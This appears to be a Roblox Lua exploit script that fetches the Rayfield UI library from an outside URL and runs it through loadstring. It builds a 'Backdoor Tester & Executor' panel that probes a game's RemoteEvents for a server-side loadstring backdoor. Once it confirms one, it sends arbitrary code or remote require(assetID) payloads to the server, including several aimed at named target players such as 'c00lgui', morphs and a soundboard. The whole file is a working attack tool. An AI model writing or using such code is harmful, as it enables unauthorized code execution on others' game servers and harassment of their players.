local Rayfield = loadstring(game:HttpGet('https://sirius.menu/rayfield'))() local Window = Rayfield:CreateWindow({ Name = "🔥 Backdoor Tester & Executor", LoadingTitle = "Rayfield Interface", LoadingSubtitle = "by T3CHN0", ConfigurationSaving = { Enabled = false, }, Discord = { Enabled = false, }, KeySystem = false, }) local Tab = Window:CreateTab("Backdoor", 4483362458) -- Variables local backdoorRemote = nil local statusLabel = nil -- Test code template local function getTestCode(attrName) return [[ game:GetService("ReplicatedStorage"):SetAttribute("]] .. attrName .. [[", "SUCCESS") ]] end -- Scan & Test for the exact backdoor local function scanAndTestBackdoors() local remotes = {} for _, child in ipairs(game.ReplicatedStorage:GetChildren()) do if child:IsA("RemoteEvent") then table.insert(remotes, child) end end if #remotes == 0 then Rayfield:Notify({ Title = "❌ No RemoteEvent", Content = "No backdoor detected", Duration = 6 }) if statusLabel then statusLabel:Set("Backdoor Status: ❌ No RemoteEvent") end backdoorRemote = nil return end Rayfield:Notify({ Title = "🔍 Testing...", Content = "Testing " .. #remotes .. " RemoteEvent(s)...", Duration = 4 }) local workingRemotes = {} for _, remote in ipairs(remotes) do local attrName = "GrokBDTest_" .. remote.Name .. "_" .. math.random(100000, 999999) local testCode = getTestCode(attrName) local success, err = pcall(function() remote:FireServer(testCode) end) if not success then continue end task.wait(0.4) if game.ReplicatedStorage:GetAttribute(attrName) == "SUCCESS" then table.insert(workingRemotes, remote) pcall(function() remote:FireServer([[game:GetService("ReplicatedStorage"):SetAttribute("]] .. attrName .. [[", nil)]]) end) end end if #workingRemotes > 0 then backdoorRemote = workingRemotes[1] local name = backdoorRemote.Name ~= "RemoteEvent" and backdoorRemote.Name or "Unnamed" if statusLabel then statusLabel:Set("✅ Backdoor Found → " .. name) end Rayfield:Notify({ Title = "✅ BACKDOOR DETECTED!", Content = "Loadstring backdoor confirmed! You can now run anything.", Duration = 6, }) else backdoorRemote = nil if statusLabel then statusLabel:Set("❌ No Backdoor Found") end Rayfield:Notify({ Title = "❌ No Backdoor", Content = "Cannot execute scripts.", Duration = 5 }) end end -- Status statusLabel = Tab:CreateLabel("Backdoor Status: Not Tested Yet") -- Scan button Tab:CreateButton({ Name = "🔍 Scan & Test for Backdoor", Callback = function() scanAndTestBackdoors() end, }) Tab:CreateSection("Backdoor Executor") local codeInput = Tab:CreateInput({ Name = "Code to Execute", PlaceholderText = "print('hi') or require(123456)()", RemoveTextAfterFocusLost = false, Callback = function() end, }) Tab:CreateButton({ Name = "🚀 Execute Code via Backdoor", Callback = function() if not backdoorRemote then Rayfield:Notify({ Title = "❌ Cannot Run", Content = "No backdoor detected. Scan first.", Duration = 5 }) return end local code = codeInput.CurrentValue if code == "" then return end pcall(function() backdoorRemote:FireServer(code) end) Rayfield:Notify({ Title = "✅ Executed", Content = "Code sent.", Duration = 3 }) end, }) Tab:CreateSection("Quick Require") local requireInput = Tab:CreateInput({ Name = "Module Asset ID", PlaceholderText = "1234567890", RemoveTextAfterFocusLost = false, Callback = function() end, }) Tab:CreateButton({ Name = "📦 Run require(ID)()", Callback = function() if not backdoorRemote then Rayfield:Notify({ Title = "❌ Cannot Run", Content = "No backdoor detected. Scan first.", Duration = 5 }) return end local id = tonumber(requireInput.CurrentValue) if not id then return end pcall(function() backdoorRemote:FireServer("require(" .. id .. ")()") end) Rayfield:Notify({ Title = "✅ Require Sent", Content = "require(" .. id .. ")() fired.", Duration = 4 }) end, }) Tab:CreateSection("c00lgui Executor") local c00lTargetInput = Tab:CreateInput({ Name = "Target Username", PlaceholderText = "puttheiruser", RemoveTextAfterFocusLost = false, Callback = function() end, }) Tab:CreateButton({ Name = "🚀 Fire c00lgui (c00lkidd mode)", Callback = function() if not backdoorRemote then Rayfield:Notify({ Title = "❌ No Backdoor", Content = "Scan first", Duration = 5 }) return end local target = c00lTargetInput.CurrentValue if target == "" then return end local code = 'require(14125553864):Fire("' .. target .. '", "c00lkidd")' pcall(function() backdoorRemote:FireServer(code) end) Rayfield:Notify({ Title = "✅ c00lgui Sent (Server)", Content = "Target: " .. target, Duration = 4 }) end, }) Tab:CreateSection("MorphMonster Executor") local morphTargetInput = Tab:CreateInput({ Name = "Target Username", PlaceholderText = "TheirUser", RemoveTextAfterFocusLost = false, Callback = function() end, }) Tab:CreateButton({ Name = "🐱 MorphMonster (Catnap)", Callback = function() if not backdoorRemote then Rayfield:Notify({ Title = "❌ No Backdoor", Content = "Scan first", Duration = 5 }) return end local target = morphTargetInput.CurrentValue if target == "" then return end local code = 'require(92610899059557).MorphMonster("' .. target .. '", "catnap")' pcall(function() backdoorRemote:FireServer(code) end) Rayfield:Notify({ Title = "✅ Catnap Sent (Server)", Content = "Catnap on " .. target, Duration = 4 }) end, }) Tab:CreateSection("Senstation Executor") local happyTargetInput = Tab:CreateInput({ Name = "Target Username", PlaceholderText = "TheirUser", RemoveTextAfterFocusLost = false, Callback = function() end, }) Tab:CreateButton({ Name = "Semstation", Callback = function() if not backdoorRemote then Rayfield:Notify({ Title = "❌ No Backdoor", Content = "Scan first", Duration = 5 }) return end local target = happyTargetInput.CurrentValue if target == "" then return end local code = 'require(100263845596551)("' .. target .. '")' pcall(function() backdoorRemote:FireServer(code) end) Rayfield:Notify({ Title = "✅ HappyHub Sent (Server)", Content = "HappyHub on " .. target, Duration = 4 }) end, }) Tab:CreateSection("Prototype Morph") local prototypeTargetInput = Tab:CreateInput({ Name = "Target Username", PlaceholderText = "TheirUser", RemoveTextAfterFocusLost = false, Callback = function() end, }) Tab:CreateButton({ Name = "🧬 Prototype Morph (Server)", Callback = function() if not backdoorRemote then Rayfield:Notify({ Title = "❌ No Backdoor", Content = "Scan first", Duration = 5 }) return end local target = prototypeTargetInput.CurrentValue if target == "" then return end local code = 'require(73755486018996).MorphMonster("' .. target .. '", "Prototype")' pcall(function() backdoorRemote:FireServer(code) end) Rayfield:Notify({ Title = "✅ Prototype Sent (Server)", Content = "Prototype on " .. target, Duration = 4 }) end, }) Tab:CreateSection("Shin Sonic Morph") local shinSonicTargetInput = Tab:CreateInput({ Name = "Target Username", PlaceholderText = "TheirUser", RemoveTextAfterFocusLost = false, Callback = function() end, }) Tab:CreateButton({ Name = "🌟 Shin Sonic (Server)", Callback = function() if not backdoorRemote then Rayfield:Notify({ Title = "❌ No Backdoor", Content = "Scan first", Duration = 5 }) return end local target = shinSonicTargetInput.CurrentValue if target == "" then return end local code = 'require(77055143496081).MorphMonster("' .. target .. '", "sonic.eyx")' pcall(function() backdoorRemote:FireServer(code) end) Rayfield:Notify({ Title = "✅ Shin Sonic Sent (Server)", Content = "Shin Sonic on " .. target, Duration = 4 }) end, }) Tab:CreateSection("Soundboard") local soundboardTargetInput = Tab:CreateInput({ Name = "Target Username", PlaceholderText = "TheirUser", RemoveTextAfterFocusLost = false, Callback = function() end, }) Tab:CreateButton({ Name = "🔊 Soundboard (Server)", Callback = function() if not backdoorRemote then Rayfield:Notify({ Title = "❌ No Backdoor", Content = "Scan first", Duration = 5 }) return end local target = soundboardTargetInput.CurrentValue if target == "" then return end local code = 'require(80044428903741).soundboard("' .. target .. '")' pcall(function() backdoorRemote:FireServer(code) end) Rayfield:Notify({ Title = "✅ Soundboard Sent (Server)", Content = "Soundboard on " .. target, Duration = 4 }) end, })